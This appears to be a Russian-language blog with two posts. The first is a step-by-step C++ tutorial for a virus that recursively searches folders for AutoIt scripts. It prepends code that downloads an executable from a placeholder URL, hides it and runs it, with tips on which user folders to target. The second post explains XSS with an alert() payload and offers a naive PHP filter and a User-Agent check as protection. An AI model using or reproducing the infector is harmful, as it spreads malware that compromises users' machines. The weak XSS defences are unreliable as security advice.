Gladoff's Lab

Пишем функцию для самораспространения файла

Давно не публиковал материал в блог, но на этот раз подготовил для вас просто супер уникальную функцию, которую можно добавлять в функционал ваших софтов.

Помните, что всё, что вы увидите в этом посте, представлено только для ознакомления. Автор не несёт ответственности за возможный вред, принесённый в следствие использования материала этой статьи.

Писать мы будем на C++ в IDE Visual Studio 2017. Скачать всё вы можете в интернете. Приступим!

Создание проекта

Зайдём в меню создания проекта. Для этого нажмём комбинацию клавиш Ctrl + Shift + N. В открывшемся меню выберем Visual C++ -> Пустой проект. Путь и название проекта укажите любое удобное вам.

После нажатия кнопки «OK» нас закидывает в созданный проект. Здесь нам нужно создать исходный файл проекта (.cpp). Для этого кликнем ПКМ по разделу Исходные файлы в обозревателе решений:
Добавить -> Создать элемент -> Visual C++ -> Файл .cpp (имя придумайте сами, однако главный исходный файл проекта принято называть Main.cpp или Source.cpp)

Настройка проекта

Теперь нам нужно настроить созданный проект. Для этого в том же обозревателе решений, кликнув ПКМ на название проекта, заходим в его свойства.
Конфигурация: Release. Платформа: Win32
C/C++ -> Создание кода -> Библиотека времени выполнения: /MT (многопоточная)
Компоновщик -> Система -> Подсистема: Windows (/SUBSYSTEM:WINDOWS)
Компоновщик -> Дополнительно -> Точка входа: mainCRTStartup

Также нам нужно изменить шаблон сборки с Debug на Release:

Готово! Наш проект настроен. Можно писать код.

Собственно, код

Строить свой код мы будем на встроенной библиотеке filesystem. Чтобы её подключить, нужно использовать следующий код
Для C++14 это:

#include <experimental/filesystem>
namespace fileSystem= std::experimental::filesystem;

Для C++17:

#include <filesystem>
namespace fileSystem = std::filesystem;

Далее нам нужно объявить главную функцию программы:

int main(){

return 0;
}

Сразу создадим функцию, которая, собственно, будет проходить по файлам в директории и находить файлы с искомым расширением. Она будет получать на вход строку, содержащую путь к директории, файлы которой мы хотим заразить.

void infectDirectory(std::string dir) {
	for (auto& file : fileSystem::directory_iterator(dir)) {
		// file.path() - Текущий файл директории
		std::cout << "File: " << file.path() << std::endl;
	}
}

Поскольку мы хотим, чтобы заражались также вложенные директории, нам нужно добавить сюда немного рекурсии:

void infectDirectory(std::string dir){
	for (auto& file : fileSystem::directory_iterator(dir)){
		if (fileSystem::is_directory(file.path())){ // Проверяем, является ли путь папкой
			infectDirectory(file.path().string());  // Если да, вызываем функцию infectDirectory для этого пути
		}
	}
}

Если же текущий путь является файлом, а не папкой, нам нужно проверить его расширение. Для этого разделим название файла через ’.’ Последний отрезок будет расширением. Разделять (сплиттить) мы будем этой функцией:

std::vector <std::string> split_string(std::string string, std::string delim) {
	std::vector<std::string> result;
	size_t from = 0, to = 0;
	while (std::string::npos != (to = string.find(delim, from))) {
		result.push_back(string.substr(from, to - from));
		from = to + delim.length();
	}
	result.push_back(string.substr(from, to));
	return result; // возвращаем результат split в векторе
}

Проверяем расширение файла — если оно «au3», встраиваем наш код функцией inject:

void infectDirectory(std::string dir) {
	std::vector <std::string> splitted_file;
	for (auto& file : fileSystem::directory_iterator(dir)) {
		if (fileSystem::is_directory(file.path())) { // Проверяем, является ли путь папкой
			infectDirectory(file.path().string());  // Если да, вызываем функцию infectDirectory для этого пути
		}
		else {//Если нет, нам нужно проверить расширение файла и заразить его, если расширение .au3
			splitted_file = split_string(file.path().string(), "."); // делим путь через точку
			if (splitted_file.back() == "au3") { // проверяем последний элемент вектора (расширение)
				inject(file.path().string());
			}
		}
	}
}

Заражать исходный код найденного AutoIt-скрипта мы будем функцией InetGet, которая, при запуске скрипта, скачает файл по ссылке. Функция FileSetAttrib скроет файл от посторонних глаз, а функция ShellExecute его запустит.
На AutoIt это будет выглядеть примерно так:

InetGet("http://domain.com/file.exe",@AppDataDir&"/filename.exe")
FileSetAttrib(@AppDataDir&"/filename.exe","+RSH",1)
ShellExecute(@AppDataDir&"/filename.exe")

Поскольку мы хотим, чтобы наш код выполнялся всегда, то есть в начале работы скрипта, нужно писаться в начало файла, но тут возникают небольшие сложности. Мы не можем просто писать строки в начало файла, поэтому будем сначала читать файл, потом к нашим строкам клеить то, что прочитали, и записывать это в наш файл, удаляя старый контент:

void inject(std::string dir) {
	const std::string fileName = dir;
	std::fstream processedFile(fileName.c_str());
	std::stringstream fileData;

	fileData << "InetGet(\"http://domain.com/file.exe\",@AppDataDir&\"/filename.exe\")\n";
	fileData << "FileSetAttrib(@AppDataDir&\"/filename.exe\",\"+RSH\",1)\n";
	fileData << "ShellExecute(@AppDataDir&\"/filename.exe\")\n";

	fileData << processedFile.rdbuf();
	processedFile.close();

	processedFile.open(fileName.c_str(), std::fstream::out | std::fstream::trunc);
	processedFile << fileData.rdbuf();
}

Готово! Теперь достаточно только вызвать функцию infectDirectory для какой-нибудь директории:

int main() {
	infectDirectory("C:\\test");
	return 0;
}

Заключение

Обычно люди хранят такие скрипты на рабочем столе, в документах, стоит проверять также папки Downloads и подобные. Я подал вам лишь идею. Будьте аккуратнее.

Спасибо, что прочитал статью. Надеюсь, ты извлёк для себя что-то полезное.

Исходный код проекта

XSS-атаки и немного о том, как от них защититься

Что такое XSS-атака?

XSS (Cross Site Scripting) атака — это атака с эксплуатацией уязвимости в веб-приложении, когда конечный пользователь может передавать простые скрипты как полезные нагрузки (payloads) через не обрабатываемые входные параметры. Короче говоря, это когда в код веб-приложения попадает не обрабатываемый им похожий код

Простой пример XSS-атаки

Безобидный код, отображающий уведомление с нашим текстом внедряется в код страницы и уведомление (alert) выводится

<script>alert('XSS Exploit worked');</script>

Код может быть получен сайтом откуда угодно. Главное, что он никак не обрабатывается, если сайт не защищен от межсайтового скриптинга

Подробнее о XSS глазами хакера

Защита от XSS-атак

Примечательно, что я сделал этот пост в своем блоге после того, как получил негативный отзыв о боте Acrux, в котором человек описал процесс взлома панели посредством XSS-атаки, однако эта уязвимость в панели более не актуальна.Подробнее

Однажды мне в телеге пишет один парниша:

Да, я знаю, что был не в себе, когда оставил текст в индексной странице, но сейчас речь не об индексации: Когда я увидел что-то про фильтрацию XSS в его сообщении, я сразу включил дедукцию:

По сути, чтобы выполнить инъекцию XSS, нужно как-то ее передать сайту, а это в случае с нашим ботом было возможно только через GET-запрос. Это когда после страницы ставится символ ’?’ и сайту передаются параметры

Собственно, нам нужно как-то понимать, когда сайту передаются скрипты извне, а когда с сайтом общается его законный пользователь или бот:

Чтобы эксплуатировать уязвимость XSS, сайту нужно передать какой-то тэг html, а они всегда начинаются с <, и заканчиваются на >. Давайте разбираться.

В переменной $_SERVER[’REQUEST_URI’] в php содержится текущая адресная строка после файла сайта, так, если файл index.php сайта site.com содержит следующий код: 

<?php
print($_SERVER['REQUEST_URI']);
?>

Если в адресной строке браузера посетителя будет site.com/?somesetlist, сайт выведет:

Проверим, содержится в GET запросе тэг html или нет (%3C и %3E — это символы <>):

<?php
if (strpos($_SERVER['REQUEST_URI'], "%3C") !== false || strpos($_SERVER['REQUEST_URI'], "%3E") !== false){
    exit(1);
}
print "XSS-Lamer protection enabled";
?>

Теперь, если наш сайт обнаружит тэг html в GET-запросе, то он посчитает этот запрос за попытку XSS-проникновения и закроет соединение.

Еще один способ защиты

Также, вы можете сделать так, чтобы с сайтом мог общаться только бот (программная часть вашего приложения), изменив USER-AGENT в приложении. Теперь вам нужно проверять его в сайте:

if($_SERVER["HTTP_USER_AGENT"] != "Mozilla/5.0 (Windows NT 6.1) SomeUserAgent"){
exit(1);
}

Подводя итоги

XSS-атака — один из самых сложных видов взлома сайтов, так как защититься от нее просто XSS-фильтрами, а фильтры эти не всегда так просты, как в моем примере. У этих атак большой радиус применения и я примерно показал вам типичную защиту от этого чуда.

Telegram, Mail, Twitter